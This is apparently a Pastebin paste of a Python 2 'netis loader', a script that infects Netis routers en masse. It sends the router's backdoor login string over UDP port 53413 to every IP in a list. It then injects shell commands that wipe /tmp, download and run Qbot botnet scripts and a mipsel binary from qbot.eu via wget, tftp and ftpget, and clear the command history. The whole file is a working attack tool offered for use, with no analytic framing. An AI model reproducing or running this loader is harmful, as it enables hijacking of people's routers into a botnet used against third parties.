Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # netis loader
- # Made by LNO_LiGhT
- # Updated/Upgraded by Chris Poole | @codingplanets
- import threading, sys, time, random, socket, re, os
- if len(sys.argv) < 2:
- print "Usage: python "+sys.argv[0]+" <netis.txt>"
- sys.exit()
- loginpayload = "AAAAAAAAnetcore\x00"
- commandpayload = "cd /tmp; rm -fr *; wget http://qbot.eu/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp qbot.eu -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g qbot.eu; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh tfyfa1.sh; rm -rf *; history -c\n"
- commanddpayload = "AA\x00\x00AAAA cd /tmp; rm -fr *; wget http://qbot.eu/mipsel; chmod 777 mipsel; sh mipsel; tftp qbot.eu -c get mipsel; chmod 777 mipsel; sh mipsel; tftp -r mipsel -g qbot.eu; chmod 777 mipsel; sh mipsel; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu mipsel mipsel; sh mipsel; rm -rf mipsel mipsel mipsel tfyfa1.sh; rm -rf *; history -c\x00"
- commandddpayload= "AAAAAAAAnetcore\x00 \r\n\r\n AA\x00\x00AAAA cd /tmp; wget http://qbot.eu/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp qbot.eu -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g qbot.eu; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu ftp1.sh ftp1.sh.sh; sh ftp1.sh.sh; rm -rf bins.sh tftp1.sh tftp2.sh rm -rf *\r\n\x00"
- list = open(sys.argv[1], "r").readlines()
- offline = 0
- class netis(threading.Thread):
- def __init__ (self, ip):
- threading.Thread.__init__(self)
- self.ip = str(ip).rstrip('\n')
- def run(self):
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- try:
- print "\033[31m[\033[32m+\033[31m] \033[32mInfecting:\033[32m %s"%(self.ip)
- s.sendto(loginpayload, (self.ip, 53413))
- time.sleep(3.5)
- s.sendto(commandpayload, (self.ip, 53413))
- time.sleep(1.5)
- s.sendto(commanddpayload, (self.ip, 53413))
- time.sleep(1.5)
- s.sendto(commandddpayload, (self.ip, 53413))
- time.sleep(1.5)
- except Exception:
- pass
- for ip in list:
- try:
- t = netis(ip)
- t.start()
- time.sleep(0.01)
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement